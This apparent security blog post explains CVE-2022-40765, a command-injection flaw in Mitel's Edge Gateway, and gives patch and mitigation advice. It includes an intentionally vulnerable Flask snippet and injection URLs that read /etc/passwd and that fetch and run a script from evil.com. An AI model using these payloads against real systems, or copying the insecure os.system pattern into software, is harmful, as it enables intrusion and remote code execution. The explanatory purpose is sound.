In the ever-changing world of cybersecurity, vulnerabilities continue to surface in unexpected places. One of these recent finds is CVE-2022-40765, which affects the Edge Gateway component of Mitel MiVoice Connect up to version 19.3 (22.22.610.). This flaw allows authenticated attackers with internal network access to perform a command-injection attack. The culprit? Insufficient restriction of URL parameters. If your environment includes affected Mitel products, it’s critical to understand this issue and how to secure your systems.

In this long-read, we’ll break down how the vulnerability works, walk through a code example to illustrate the exploit, and direct you to original references for more technical details.

Requirements: Authenticated attacker with access to the internal network

- CVE Reference: CVE-2022-40765 Details (NVD)
- Mitel Advisory: Mitel Security Advisory (22-0003-002)

How the Vulnerability Works

The vulnerable Edge Gateway service receives input parameters from users via endpoints accessible over the internal network. Due to improper sanitization and filtering in the code, specific URL parameters can be crafted to inject system commands which the server then executes, unknowingly, with the privileges of the web service.

The attacker must already be authenticated, but if they meet these requirements, they may be able to run arbitrary system commands—potentially opening the door to deeper penetration or lateral movement within your network.

What Might the Code Look Like? (Hypothetical Example)

Let’s look at a simplified, illustrative code snippet written in Python to help you understand the issue. This isn’t actual Mitel code, but it mimics the type of vulnerability described:

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/run')
def run_command():
    # BAD: no filtering of the 'cmd' parameter!
    command = request.args.get('cmd', 'echo nothing')
    os.system(command)
    return "Command executed!"

# Example usage: http://edge-gateway.local/run?cmd=ls%20-la

In real life, the vulnerable Mitel component would be using a similar logic somewhere—a handler that takes URL parameters and passes them directly to the operating system. Because it doesn’t check or sanitize the incoming "cmd" parameter, anyone with access can run whatever commands they want on the server.

Say the Edge Gateway service exposes an endpoint like

https://edge-gateway.local/api/diagnostics?ping=8.8.8.8

If the router fails to sanitize the ping parameter, an attacker might submit

https://edge-gateway.local/api/diagnostics?ping=8.8.8.8;cat+/etc/passwd

The back-end code does

os.system("ping " + ping)

This means the command executed by the server becomes

ping 8.8.8.8;cat /etc/passwd

That cat /etc/passwd spits out sensitive information that the attacker can see in the web response or the system logs.

With more imagination, the attacker could use reversing shells or install further payloads

https://edge-gateway.local/api/diagnostics?ping=8.8.8.8;wget+http://evil.com/reverse.sh|sh

Fix and Mitigation

Mitel issued a patch. Upgrade all instances of MiVoice Connect Edge Gateway to fixed versions as soon as possible.

Restrict network access to the Edge Gateway wherever possible

- Monitor for suspicious activity and treat any user sign-ins or actions from unknown IPs as suspicious

Check Mitel’s advisory for more mitigation steps:  
Mitel Security Advisory 22-0003-002 - CVE-2022-40765

Official CVE Entry:

https://nvd.nist.gov/vuln/detail/CVE-2022-40765

Mitel Security Advisory:

https://www.mitel.com/support/security-advisories/Mitel-Security-Advisory-22-0003-002

Patch Download Page:

https://www.mitel.com/support/security-advisories

Final Thoughts

While only authenticated users with network access can exploit CVE-2022-40765, the bug is still dangerous in multi-user environments, or if credential theft occurs. Make patching your priority, regularly audit access controls, and always treat user input as unsafe unless rigorously validated.

If you’re running a vulnerable Mitel system, act now—don’t let a simple lack of input filtering become a major incident!


*This exclusive breakdown is provided for educational purposes. Always use responsibly and never test exploits on systems you do not own or operate.*

Timeline

Published on: 11/22/2022 01:15:00 UTC
Last modified on: 11/26/2022 03:25:00 UTC